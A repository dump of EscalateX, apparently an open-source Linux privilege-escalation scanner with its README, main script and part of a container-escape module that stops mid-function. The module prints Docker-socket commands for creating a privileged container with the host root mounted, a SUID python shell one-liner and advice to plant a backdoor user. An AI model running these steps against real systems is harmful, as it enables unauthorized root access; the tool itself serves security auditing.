├── .github └── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── LICENSE.md ├── README.md ├── escalatex.sh ├── modules ├── cloud_checks │ └── aws_azure_gcp.sh ├── container_checks │ └── container_escape.sh ├── credentials │ └── credentials_hunter.sh ├── exploit_checks │ ├── cron_jobs.sh │ ├── docker_checks.sh │ ├── kernel_exploits.sh │ ├── suid_sgid.sh │ └── writable_files.sh ├── loader.sh ├── network_info │ └── network_checks.sh ├── system_info │ └── general.sh ├── user_info │ └── users.sh └── utils │ └── core.sh └── title.png /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Run '...' 16 | 2. Use argument '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. Zorin OS] 28 | - Version [e.g. 17.1] 29 | 30 | **Additional context** 31 | Add any other context about the problem here. 32 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | # Creative Commons Attribution-NonCommercial 4.0 International License (CC BY-NC 4.0) 2 | 3 | This work is licensed under the Creative Commons Attribution-NonCommercial 4.0 International License. 4 | 5 | To view a copy of this license, visit: 6 | https://creativecommons.org/licenses/by-nc/4.0/ 7 | 8 | or send a letter to: 9 | Creative Commons 10 | PO Box 1866 11 | Mountain View, CA 94042 12 | USA 13 | 14 | ## You are free to: 15 | 16 | - **Share** — copy and redistribute the material in any medium or format 17 | - **Adapt** — remix, transform, and build upon the material 18 | 19 | The licensor cannot revoke these freedoms as long as you follow the license terms. 20 | 21 | ## Under the following terms: 22 | 23 | - **Attribution** — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use. 24 | - **NonCommercial** — You may not use the material for commercial purposes. 25 | - **No additional restrictions** — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits. 26 | 27 | ## Notices: 28 | 29 | You do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation. 30 | 31 | No warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material. 32 | 33 | --- 34 | 35 | This is a human-readable summary of (and not a substitute for) the full license, which can be found at the link above. 36 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EscalateX 2 | 3 |
4 | 5 | [![License: CC BY-NC 4.0](https://img.shields.io/badge/License-CC%20BY--NC%204.0-lightgrey.svg)](https://creativecommons.org/licenses/by-nc/4.0/) 6 | ![Bash](https://img.shields.io/badge/Made%20with-Bash-1f425f.svg) 7 | ![Platform](https://img.shields.io/badge/Platform-Linux-blue) 8 | ![Status](https://img.shields.io/badge/Status-Active-success) 9 | 10 | ![EscalateX Preview](title.png) 11 | 12 | **A powerful Linux privilege escalation scanner for security professionals** 13 | 14 |
15 | 16 | ## 📖 About 17 | 18 | EscalateX is a cybersecurity tool designed to identify privilege escalation vectors on Linux systems. Automating the process of finding potential vulnerabilities and a modern alternative to LinPEAS is the purpose of EscalateX. 19 | 20 | The tool is currently in its early development phase. Bugs can and will occur while running the tool - therefore, please report your findings by sending me an email. 21 | 22 | ### Key Features 23 | 24 | - ✅ **System Configuration Analysis**: Identifies misconfigurations in system settings 25 | - ✅ **Privilege Abuse Detection**: Locates SUID/SGID binaries and dangerous capabilities 26 | - ✅ **Filesystem Vulnerability Scanning**: Finds writable files in sensitive locations 27 | - ✅ **Kernel Exploit Detection**: Discovers kernel vulnerabilities that could lead to privilege escalation 28 | - ✅ **Container Security**: Evaluates potential container escape vectors 29 | 30 | ## 🚀 Installation 31 | 32 | Quick setup in three simple steps: 33 | 34 | ```bash 35 | # Clone the repository 36 | git clone https://github.com/reschjonas/EscalateX.git 37 | 38 | # Navigate to the directory 39 | cd EscalateX 40 | 41 | # Make it executable 42 | chmod +x escalatex.sh 43 | ``` 44 | 45 | ### 📋 Requirements 46 | 47 | Runs on most Linux distributions with: 48 | - Bash 4.0+ 49 | - Standard Unix utilities (find, grep, ls, etc.) 50 | - The `timeout` command (optional but recommended) 51 | 52 | ## 💻 Usage 53 | 54 | ### Basic Operation 55 | 56 | Simply run the script: 57 | 58 | ```bash 59 | ./escalatex.sh 60 | ``` 61 | 62 | ### Advanced Options 63 | 64 | ```bash 65 | # Run a comprehensive scan (longer but more thorough) 66 | ./escalatex.sh --thorough 67 | 68 | # Target specific checks only 69 | ./escalatex.sh --only system_info,suid_sgid 70 | 71 | # Use elevated privileges for deeper analysis 72 | ./escalatex.sh --multi --password yourpassword 73 | 74 | # Maximum depth scan for critical systems 75 | ./escalatex.sh --extreme 76 | ``` 77 | 78 | ### Command Line Options 79 | 80 |
81 | Click to expand all options 82 | 83 | #### Core Options 84 | - `-a, --all` - Run all checks (thorough mode) 85 | - `-t, --thorough` - More comprehensive but slower scan 86 | - `-x, --extreme` - Maximum depth scan for critical systems 87 | - `-o, --only CHECKS` - Run specific checks (comma-separated) 88 | - `-d, --dir PATH` - Check a specific directory 89 | - `-m, --multi` - Use multiple threads (default) 90 | - `-s, --single` - Single-threaded mode 91 | - `--threads N` - Set number of threads for multithreaded mode 92 | 93 | #### Output Options 94 | - `-q, --quiet` - Minimal output 95 | - `-n, --no-color` - Turn off colors 96 | - `-w, --wait` - Pause between check groups 97 | 98 | #### Advanced Options 99 | - `-p, --password PWD` - For sudo operations 100 | - `-S, --sudo-pass` - Prompt for sudo password for privilege escalation attempts 101 | - `-D, --debug` - Verbose logging 102 | - `-h, --help` - Show help 103 |
104 | 105 | ## 🔍 What It Checks For 106 | 107 |
108 | System Information 109 | 110 | - OS details and kernel version 111 | - Security configurations and patch status 112 | - Hardware info and resource usage 113 | - Filesystem mounts and permissions 114 | - Boot configuration and services 115 |
116 | 117 |
118 | User & Permissions 119 | 120 | - Current user privileges 121 | - User enumeration and group memberships 122 | - Password policy issues 123 | - Sudo rules that could be abused 124 | - Home directory permissions 125 |
126 | 127 |
128 | Privilege Escalation Vectors 129 | 130 | - SUID/SGID binaries (especially exploitable ones) 131 | - Files with dangerous capabilities 132 | - Custom privilege escalation paths 133 | - Container security issues 134 |
135 | 136 |
137 | Filesystem Issues 138 | 139 | - Writable files in sensitive locations 140 | - Misconfigured home directory permissions 141 | - PATH manipulation vulnerabilities 142 | - Wildcard injection opportunities 143 |
144 | 145 | ## 📊 Sample Output 146 | 147 |
148 | Click to see sample scan results 149 | 150 | ``` 151 | ┏━━━━━━━━━━━━━━━━━━━━━━━━━━ System Information ━━━━━━━━━━━━━━━━━━━━━━━━━━┓ 152 | 153 | ╔════════[ Operating System Information ]════════╗ 154 | [+] OS: Ubuntu 20.04.3 LTS (ubuntu) 155 | [+] Kernel version: 5.11.0-27-generic 156 | [+] Architecture: x86_64 157 | [+] Running on physical hardware 158 | 159 | ╔════════[ Hardware Information ]════════╗ 160 | [+] CPU: Intel(R) Core(TM) i7-10700K CPU @ 3.80GHz (8 cores) 161 | [+] Memory: 6453MB / 16000MB (40% used) 162 | [+] Swap: 2048MB / 4096MB (50% used) 163 | 164 | ... 165 | 166 | ┏━━━━━━━━━━━━━━━━━━━━━━━━━━ SUID/SGID Binaries and Capabilities ━━━━━━━━━━━━━━━━━━━━━━━━━━┓ 167 | 168 | ╔════════[ SUID/SGID Binaries ]════════╗ 169 | [*] Looking for SUID binaries (might take a while)... 170 | [+] Found 35 SUID/SGID binaries: 171 | [!] /usr/bin/sudo [Owner: root] 172 | → Purpose: Execute commands as root with proper permissions 173 | [!] /usr/bin/pkexec [Owner: root] 174 | → Purpose: Execute commands as another user with policykit 175 | [CRITICAL] /usr/bin/python3 [Owner: root] 176 | → Exploitable: python -c 'import os; os.execl("/bin/sh", "sh", "-p")' 177 | 178 | ... 179 | 180 | ┏━━━━━━━━━━━━━━━━━━━━━━━━━━ Scan Summary ━━━━━━━━━━━━━━━━━━━━━━━━━━┓ 181 | 182 | [*] EscalateX scan completed at Wed Feb 14 14:32:18 EST 2024 183 | [*] Remember to check the most promising privilege escalation vectors highlighted in red 184 | 185 | Thank you for using EscalateX! 186 | ``` 187 |
188 | 189 | ## 🗺️ Roadmap 190 | 191 |
192 | 193 | ### Future Development Plans 194 | 195 |
196 | 197 | | Feature | Status | Description | 198 | |---------|--------|-------------| 199 | | 📑 **Report Generator** | Planned | Create comprehensive HTML/PDF reports with findings and remediation recommendations | 200 | | 🛠️ **Single Script Builder** | Planned | Build-Script to compile all modules into a singular script | 201 | | 🔍 **Service Version Scanning** | Planned | Identify outdated software versions running as services | 202 | | 🌐 **Real-time CVE Collection** | Planned | Connect to vulnerability databases to map identified software versions to known CVEs | 203 | | 🛠️ **Automatic Vulnerability Exploiter** | Considering | Optional module to automatically exploit identified vulnerabilities | 204 | 205 |
206 |
207 | 208 | ## 🧩 Custom Modules 209 | 210 | You can extend EscalateX with your own custom modules: 211 | 212 |
213 | How to create custom modules 214 | 215 | 1. Create a script in the modules directory 216 | 2. Use this basic structure: 217 | 218 | ```bash 219 | #!/bin/bash 220 | 221 | # Title: My Custom Check 222 | # Description: What this thing does 223 | 224 | check_something_interesting() { 225 | print_subtitle "My Interesting Check" 226 | 227 | # Your check logic here 228 | print_info "Checking something..." 229 | 230 | # Found something worth noting 231 | print_warning "Hmm, that's interesting" 232 | 233 | # Found something bad 234 | print_critical "This is definitely exploitable" 235 | } 236 | 237 | # Main function 238 | custom_checks() { 239 | print_title "My Custom Stuff" 240 | 241 | # Run your checks 242 | check_something_interesting 243 | 244 | # Pause if wait mode is on 245 | wait_for_user 246 | } 247 | ``` 248 | 249 | 3. Add your module to loader.sh 250 |
251 | 252 | ## ⚠️ Important Warning 253 | 254 |
255 | 256 | **This is a security tool. Use it responsibly.** 257 | 258 |
259 | 260 | - 🔒 Only run it on systems you own or have permission to test 261 | - 🚨 Some checks might trigger security alerts or monitoring 262 | - ⚙️ Be careful in production environments 263 | - 🤝 Don't be a jerk - never use this for unauthorized access 264 | 265 | ## 📝 License 266 | 267 |
268 | 269 | [![License: CC BY-NC 4.0](https://licensebuttons.net/l/by-nc/4.0/88x31.png)](https://creativecommons.org/licenses/by-nc/4.0/) 270 | 271 |
272 | 273 | This project is licensed under the Creative Commons Attribution-NonCommercial 4.0 International License (CC BY-NC 4.0) - see the [LICENSE](LICENSE.md) file for details. 274 | 275 | This means you can freely use, modify, and distribute this software, as long as: 276 | - You give appropriate credit to the original author 277 | - You don't use it for commercial purposes 278 | 279 | For more information, visit: https://creativecommons.org/licenses/by-nc/4.0/ 280 | 281 | ## 👥 Contributing 282 | 283 | Contributions are welcome and appreciated! To contribute: 284 | 285 | 1. Fork the repository 286 | 2. Create a branch (`git checkout -b cool-new-feature`) 287 | 3. Commit your changes (`git commit -m 'Added some cool feature'`) 288 | 4. Push to your branch (`git push origin cool-new-feature`) 289 | 5. Open a Pull Request 290 | 291 |
292 | 293 | **[⬆ Back to top](#escalatex)** 294 | 295 |
296 | -------------------------------------------------------------------------------- /escalatex.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ############################################################# 4 | # # 5 | # ███████╗███████╗ ██████╗ █████╗ ██╗ █████╗ ████████╗███████╗██╗ ██╗ 6 | # ██╔════╝██╔════╝██╔════╝██╔══██╗██║ ██╔══██╗╚══██╔══╝██╔════╝╚██╗██╔╝ 7 | # █████╗ ███████╗██║ ███████║██║ ███████║ ██║ █████╗ ╚███╔╝ 8 | # ██╔══╝ ╚════██║██║ ██╔══██║██║ ██╔══██║ ██║ ██╔══╝ ██╔██╗ 9 | # ███████╗███████║╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗██╔╝ ██╗ 10 | # ╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ 11 | # # 12 | # Advanced Privilege Escalation Scanner # 13 | # https://github.com/reschjonas/EscalateX # 14 | # # 15 | ############################################################## 16 | 17 | VERSION="1.0.0" 18 | AUTHOR="Jonas Resch" 19 | DISCLAIMER="This tool should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own risk on your own systems or with explicit permission." 20 | 21 | # Cleanup function 22 | cleanup() { 23 | echo -e "\n${YELLOW}[!] Interrupted! Cleaning up...${NC}" >&2 24 | # Kill any background processes that might be running 25 | jobs -p | xargs -r kill 2>/dev/null 26 | exit 1 27 | } 28 | 29 | # Set up trap for cleanup on interrupt 30 | trap cleanup SIGINT SIGTERM 31 | 32 | # Check if user is root 33 | if ([ -f /usr/bin/id ] && [ "$(/usr/bin/id -u)" -eq "0" ]) || [ "`whoami 2>/dev/null`" = "root" ]; then 34 | IAMROOT="1" 35 | MAX_SEARCH_DEPTH="7" # Increased depth for root users 36 | else 37 | IAMROOT="" 38 | MAX_SEARCH_DEPTH="5" # Standard depth for non-root users 39 | fi 40 | 41 | ########################################### 42 | #---------------) Colors (----------------# 43 | ########################################### 44 | 45 | C=$(printf '\033') 46 | RED="${C}[1;31m" 47 | GREEN="${C}[1;32m" 48 | YELLOW="${C}[1;33m" 49 | BLUE="${C}[1;34m" 50 | MAGENTA="${C}[1;35m" 51 | CYAN="${C}[1;36m" 52 | WHITE="${C}[1;37m" 53 | GRAY="${C}[1;90m" 54 | BOLD="${C}[1m" 55 | UNDERLINED="${C}[4m" 56 | BLINK="${C}[5m" 57 | REVERSE="${C}[7m" 58 | NC="${C}[0m" 59 | 60 | ########################################### 61 | #----------) Parsing Arguments (----------# 62 | ########################################### 63 | 64 | # Default settings 65 | THOROUGH="" # Thorough scan (slower but more comprehensive) 66 | EXTREME_SCAN="" # Most aggressive scan (very slow but most comprehensive) 67 | QUIET="" # No banner or unnecessary output 68 | CHECKS="all" # All checks by default 69 | TARGET_DIR="/" # Default root directory to scan 70 | WAIT="" # Wait between major checks 71 | PASSWORD="" # Password for sudo/su attempts 72 | NO_COLOR="" # Disable colors 73 | DEBUG="" # Enable debug output 74 | AUTO_NETWORK_SCAN="" # Automatic network scanning (placeholder) 75 | EXTENDED_CHECKS="" # Additional extended checks (placeholder) 76 | REGEX_SEARCH="" # Enable regex pattern searches (placeholder) 77 | MULTITHREADED="1" # Enable multithreaded operations by default 78 | USE_SUDO_PASS="" # Whether to prompt for sudo password 79 | THREADS=$(grep -c processor /proc/cpuinfo 2>/dev/null || echo 2) 80 | [ -z "$THREADS" ] || ! [[ "$THREADS" =~ ^[0-9]+$ ]] || [ "$THREADS" -lt 1 ] && THREADS=2 # Ensure threads is a number >= 1, default 2 81 | 82 | print_banner() { 83 | if [ -z "$QUIET" ]; then 84 | echo "" 85 | echo -e "${GREEN}███████╗███████╗ ██████╗ █████╗ ██╗ █████╗ ████████╗███████╗██╗ ██╗${NC}" 86 | echo -e "${GREEN}██╔════╝██╔════╝██╔════╝██╔══██╗██║ ██╔══██╗╚══██╔══╝██╔════╝╚██╗██╔╝${NC}" 87 | echo -e "${GREEN}█████╗ ███████╗██║ ███████║██║ ███████║ ██║ █████╗ ╚███╔╝ ${NC}" 88 | echo -e "${GREEN}██╔══╝ ╚════██║██║ ██╔══██║██║ ██╔══██║ ██║ ██╔══╝ ██╔██╗ ${NC}" 89 | echo -e "${GREEN}███████╗███████║╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗██╔╝ ██╗${NC}" 90 | echo -e "${GREEN}╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝${NC}" 91 | echo "" 92 | echo -e "${BLUE}[*] EscalateX - Advanced Privilege Escalation Scanner${NC}" 93 | echo -e "${BLUE}[*] Version: ${WHITE}${VERSION}${NC}" 94 | echo -e "${BLUE}[*] Author: ${WHITE}${AUTHOR}${NC}" 95 | echo -e "${BLUE}[*] Running as: ${WHITE}$(whoami)${NC}" 96 | echo -e "${BLUE}[*] Started at: ${WHITE}$(date)${NC}" 97 | if [ "$IAMROOT" ]; then 98 | echo -e "${YELLOW}[!] You are already running as root. Privilege escalation might not be needed.${NC}" 99 | fi 100 | echo -e "${YELLOW}[!] ${DISCLAIMER}${NC}" 101 | echo "" 102 | fi 103 | } 104 | 105 | # Help message 106 | show_help() { 107 | echo -e "${GREEN}EscalateX - Advanced Privilege Escalation Scanner${NC}" 108 | echo -e "${BLUE}Usage: ./escalatex.sh [OPTIONS]${NC}" 109 | echo "" 110 | echo -e "${GREEN}Scan Options:${NC}" 111 | echo -e " ${YELLOW}-a, --all${NC} Perform all checks (thorough mode)" 112 | echo -e " ${YELLOW}-t, --thorough${NC} Enable thorough scanning (slower but more comprehensive)" 113 | echo -e " ${YELLOW}-x, --extreme${NC} Enable extreme scanning (very slow but most comprehensive)" 114 | echo -e " ${YELLOW}-o, --only CHECKS${NC} Only execute specified checks (comma-separated list)" 115 | echo -e " ${GRAY}Available: system_info, user_info, suid_sgid, writable_files, cron_jobs, docker, kernel, credentials, network, container_escape, sudo${NC}" 116 | echo -e " ${YELLOW}-d, --dir PATH${NC} Target directory to scan (default: /)" 117 | echo -e " ${YELLOW}-m, --multi${NC} Enable multithreaded scanning (default: $THREADS threads)" 118 | echo -e " ${YELLOW}-s, --single${NC} Disable multithreaded scanning" 119 | echo -e " ${YELLOW}--threads N${NC} Set number of threads for multithreaded mode (default: $THREADS)" 120 | # echo -e " ${YELLOW}-r, --regex${NC} Enable regex pattern searches (Placeholder)" 121 | echo -e "" 122 | echo -e "${GREEN}Output Options:${NC}" 123 | echo -e " ${YELLOW}-q, --quiet${NC} Quiet mode (no banner or info messages)" 124 | echo -e " ${YELLOW}-n, --no-color${NC} Disable colored output" 125 | echo -e " ${YELLOW}-w, --wait${NC} Wait between major checks (requires user input)" 126 | echo -e "" 127 | echo -e "${GREEN}Advanced Options:${NC}" 128 | # echo -e " ${YELLOW}-N, --network${NC} Automatic network scanning (Placeholder)" 129 | # echo -e " ${YELLOW}-e, --extended${NC} Perform extended checks (Placeholder)" 130 | echo -e " ${YELLOW}-p, --password PWD${NC} Password for sudo/su attempts (use with caution)" 131 | echo -e " ${YELLOW}-S, --sudo-pass${NC} Prompt for sudo password for privilege escalation attempts" 132 | echo -e " ${YELLOW}-D, --debug${NC} Enable debug output (verbose)" 133 | echo -e " ${YELLOW}-h, --help${NC} Show this help message" 134 | echo -e " ${YELLOW}-v, --version${NC} Show version information" 135 | echo "" 136 | exit 0 137 | } 138 | 139 | # Process command line arguments 140 | while [[ $# -gt 0 ]]; do 141 | case $1 in 142 | -a|--all) THOROUGH="1" ;; # No longer enables extended/regex by default 143 | -t|--thorough) THOROUGH="1" ;; 144 | -x|--extreme) EXTREME_SCAN="1"; THOROUGH="1" ;; # Extreme implies thorough 145 | -o|--only) CHECKS="$2"; shift ;; 146 | -d|--dir) TARGET_DIR="$2"; shift ;; 147 | -q|--quiet) QUIET="1" ;; 148 | -n|--no-color) NO_COLOR="1" ;; 149 | -w|--wait) WAIT="1" ;; 150 | -p|--password) PASSWORD="$2"; shift ;; 151 | -S|--sudo-pass) USE_SUDO_PASS="1" ;; 152 | -D|--debug) DEBUG="1" ;; 153 | # -N|--network) AUTO_NETWORK_SCAN="1" ;; # Placeholder 154 | # -e|--extended) EXTENDED_CHECKS="1" ;; # Placeholder 155 | # -r|--regex) REGEX_SEARCH="1" ;; # Placeholder 156 | -m|--multi) MULTITHREADED="1" ;; 157 | -s|--single) MULTITHREADED=""; THREADS=1 ;; 158 | --threads) 159 | if [[ "$2" =~ ^[0-9]+$ ]] && [ "$2" -gt 0 ]; then 160 | THREADS="$2" 161 | else 162 | echo -e "${RED}Error: --threads requires a positive integer.${NC}" >&2; exit 1 163 | fi 164 | shift ;; 165 | -h|--help) show_help ;; 166 | -v|--version) echo "EscalateX Version: $VERSION"; exit 0 ;; 167 | *) echo -e "${RED}Error: Unknown option $1${NC}" >&2; show_help ;; 168 | esac 169 | shift 170 | done 171 | 172 | # Apply color settings 173 | if [ "$NO_COLOR" ]; then 174 | C=""; RED=""; GREEN=""; YELLOW=""; BLUE=""; MAGENTA=""; CYAN=""; 175 | WHITE=""; GRAY=""; BOLD=""; UNDERLINED=""; BLINK=""; REVERSE=""; NC="" 176 | fi 177 | 178 | # Validate target directory 179 | if [ ! -d "$TARGET_DIR" ]; then 180 | echo -e "${RED}Error: Target directory '$TARGET_DIR' not found or is not a directory.${NC}" >&2 181 | exit 1 182 | fi 183 | print_debug "Target directory set to: $TARGET_DIR" 184 | 185 | # Set thread count to 1 if single threaded mode is chosen 186 | if [ -z "$MULTITHREADED" ]; then 187 | THREADS=1 188 | fi 189 | print_debug "Thread count set to: $THREADS" 190 | 191 | # Check if the script is running from the correct directory 192 | if [ ! -d "modules" ]; then 193 | echo -e "${RED}Error: The 'modules' directory was not found.${NC}" >&2 194 | echo -e "${YELLOW}Please run the script from the EscalateX base directory.${NC}" >&2 195 | exit 1 196 | fi 197 | 198 | # Check for required files 199 | for required_file in "modules/loader.sh" "modules/utils/core.sh"; do 200 | if [ ! -f "$required_file" ]; then 201 | echo -e "${RED}Error: Required file '$required_file' not found.${NC}" >&2 202 | echo -e "${YELLOW}Please ensure all files are properly installed.${NC}" >&2 203 | exit 1 204 | fi 205 | done 206 | 207 | # Main function 208 | main() { 209 | # Print banner unless quiet mode 210 | print_banner 211 | 212 | # Display disclaimer and require acceptance before proceeding (unless quiet) 213 | if [ -z "$QUIET" ]; then 214 | # Disclaimer already shown in banner 215 | # echo -e "${RED}DISCLAIMER:${NC}" 216 | # echo -e "${YELLOW}This tool should be used for authorized penetration testing and/or educational purposes only.${NC}" 217 | # echo -e "${YELLOW}Any misuse of this software will not be the responsibility of the author or of any other collaborator.${NC}" 218 | # echo -e "${YELLOW}Use it at your own risk on your own systems or with explicit permission.${NC}" 219 | # echo "" 220 | read -p "Do you understand and accept these terms? (y/n): " accept_disclaimer 221 | if [[ ! $accept_disclaimer =~ ^[Yy]$ ]]; then 222 | echo -e "${RED}Terms not accepted. Exiting.${NC}" 223 | exit 1 224 | fi 225 | echo "" 226 | fi 227 | 228 | # Ask for sudo password if enabled and not already provided via -p 229 | if [ "$USE_SUDO_PASS" ] && [ -z "$PASSWORD" ]; then 230 | echo -e "${BLUE}[*] Sudo privilege escalation attempts enabled.${NC}" 231 | read -s -p "Enter sudo password for $(whoami): " PASSWORD 232 | echo "" 233 | # Test if the password works (use -k to invalidate cached credentials first) 234 | if ! echo "$PASSWORD" | sudo -S -k true >/dev/null 2>&1; then 235 | echo -e "${RED}[!] Invalid sudo password or sudo access denied. Proceeding without sudo password.${NC}" 236 | PASSWORD="" # Clear the incorrect password 237 | else 238 | echo -e "${GREEN}[+] Sudo password verified.${NC}" 239 | fi 240 | elif [ -z "$USE_SUDO_PASS" ] && [ -z "$PASSWORD" ]; then 241 | if [ -z "$QUIET" ]; then # Only show if not quiet 242 | echo -e "${YELLOW}[!] Running without sudo password. Sudo-based checks will be limited.${NC}" 243 | echo -e "${YELLOW}[!] Use --sudo-pass to prompt or -p to provide one.${NC}" 244 | fi 245 | fi 246 | 247 | # Load module loader 248 | if [ -f "modules/loader.sh" ]; then 249 | source modules/loader.sh 250 | 251 | # Initialize and run all modules via the loader's main function 252 | init_modules 253 | else 254 | echo -e "${RED}Error: Module loader (modules/loader.sh) not found. Cannot continue.${NC}" >&2 255 | exit 1 256 | fi 257 | } 258 | 259 | # Execute main function 260 | main 261 | -------------------------------------------------------------------------------- /modules/container_checks/container_escape.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: Container Escape Techniques 4 | # Description: Advanced checks for container escape vectors and misconfigurations 5 | # Author: Jonas Resch 6 | 7 | # Check for container escape vectors via mounted host filesystems 8 | check_mounted_filesystems() { 9 | print_subtitle "Mounted Host Filesystems" 10 | 11 | print_info "Checking for mounted host filesystems that could allow container escape..." 12 | 13 | # Check if we're in a container 14 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then 15 | print_success "Not running in a container, skipping check" 16 | return 17 | fi 18 | 19 | # Check for mount points that might allow escape 20 | dangerous_mounts=() 21 | 22 | # Check /proc mount 23 | proc_mount=$(grep "/proc" /proc/mounts | head -n1) 24 | if [ -n "$proc_mount" ] && ! echo "$proc_mount" | grep -q "proc"; then 25 | dangerous_mounts+=("${RED}Host /proc is mounted: $proc_mount${NC}") 26 | fi 27 | 28 | # Check for host filesystem mounts 29 | host_mounts=$(grep -v "proc\|tmpfs\|cgroup\|sysfs\|devpts" /proc/mounts | grep -v "^overlay" | grep "/ ") 30 | if [ -n "$host_mounts" ]; then 31 | dangerous_mounts+=("${RED}Host root filesystem appears to be mounted: $host_mounts${NC}") 32 | fi 33 | 34 | # Check for docker socket mount 35 | if [ -e /var/run/docker.sock ]; then 36 | dangerous_mounts+=("${RED}Docker socket is mounted: /var/run/docker.sock${NC}") 37 | fi 38 | 39 | # Check for other suspicious mounts 40 | suspicious_dirs=("/host" "/var/lib/docker" "/var/lib/kubelet" "/var/run/docker" "/var/run/crio" "/var/lib/containerd") 41 | for dir in "${suspicious_dirs[@]}"; do 42 | if [ -d "$dir" ] && [ -r "$dir" ]; then 43 | dangerous_mounts+=("${RED}Suspicious directory mounted: $dir${NC}") 44 | fi 45 | done 46 | 47 | # Report findings 48 | if [ ${#dangerous_mounts[@]} -gt 0 ]; then 49 | print_critical "${RED}Found potential escape vectors via mounted filesystems:${NC}" 50 | for mount in "${dangerous_mounts[@]}"; do 51 | print_critical " ${RED}→ $mount${NC}" 52 | done 53 | 54 | print_critical "${RED}Exploitation guidance:${NC}" 55 | if [ -e /var/run/docker.sock ]; then 56 | print_critical " ${RED}→ Docker socket escape:${NC}" 57 | print_critical " ${RED}curl -s --unix-socket /var/run/docker.sock http://localhost/images/json${NC}" 58 | print_critical " ${RED}curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json${NC}" 59 | print_critical " ${RED}→ Create a privileged container to escape:${NC}" 60 | print_critical " ${RED}curl -s -X POST --unix-socket /var/run/docker.sock -H \"Content-Type: application/json\" http://localhost/containers/create?name=escape -d '{\"Image\":\"alpine\",\"Cmd\":[\"/bin/sh\"],\"Binds\":[\"/:/host\"],\"Privileged\":true}'${NC}" 61 | print_critical " ${RED}curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/escape/start${NC}" 62 | print_critical " ${RED}curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/escape/attach?stderr=1&stdin=1&stdout=1&stream=1${NC}" 63 | elif [ -n "$host_mounts" ]; then 64 | print_critical " ${RED}→ Host filesystem is mounted, you may be able to access host files directly${NC}" 65 | print_critical " ${RED}→ Look for SSH keys, config files, and sensitive data${NC}" 66 | print_critical " ${RED}→ Try to add a backdoor user to /etc/passwd or SSH authorized_keys${NC}" 67 | fi 68 | else 69 | print_success "No obvious filesystem escape vectors found" 70 | fi 71 | } 72 | 73 | # Check capabilities that may allow container escape 74 | check_dangerous_capabilities() { 75 | print_subtitle "Dangerous Capabilities" 76 | 77 | print_info "Checking for capabilities that could allow container escape..." 78 | 79 | # Check if we're in a container 80 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then 81 | print_success "Not running in a container, skipping check" 82 | return 83 | fi 84 | 85 | # Define dangerous capabilities and their exploitation methods 86 | declare -A cap_exploits 87 | cap_exploits["cap_sys_admin"]="Mount filesystems, perform privileged operations" 88 | cap_exploits["cap_sys_ptrace"]="Attach to host processes, read memory" 89 | cap_exploits["cap_sys_module"]="Load kernel modules" 90 | cap_exploits["cap_sys_rawio"]="Direct I/O access, potentially access disk devices" 91 | cap_exploits["cap_sys_time"]="Change system time" 92 | cap_exploits["cap_net_admin"]="Configure network, potentially sniff traffic" 93 | cap_exploits["cap_dac_override"]="Bypass file permission checks" 94 | cap_exploits["cap_dac_read_search"]="Bypass file read permission checks" 95 | cap_exploits["cap_chown"]="Change file ownership" 96 | cap_exploits["cap_setuid"]="Set UID, run as other users" 97 | cap_exploits["cap_setgid"]="Set GID, run as other groups" 98 | cap_exploits["cap_setfcap"]="Set file capabilities" 99 | 100 | # Get current capabilities 101 | if command_exists capsh; then 102 | caps=$(capsh --print 2>/dev/null) 103 | 104 | # More reliable way to check for specific capabilities 105 | found_dangerous=0 106 | 107 | for cap in "${!cap_exploits[@]}"; do 108 | # Simple string match against capsh output to see if the capability is present 109 | if echo "$caps" | grep -q "$cap"; then 110 | found_dangerous=1 111 | print_critical "${RED}Container has dangerous capability: $cap${NC}" 112 | print_critical " ${RED}→ Potential impact: ${cap_exploits[$cap]}${NC}" 113 | 114 | # Specific exploitation guidance for each capability 115 | case "$cap" in 116 | 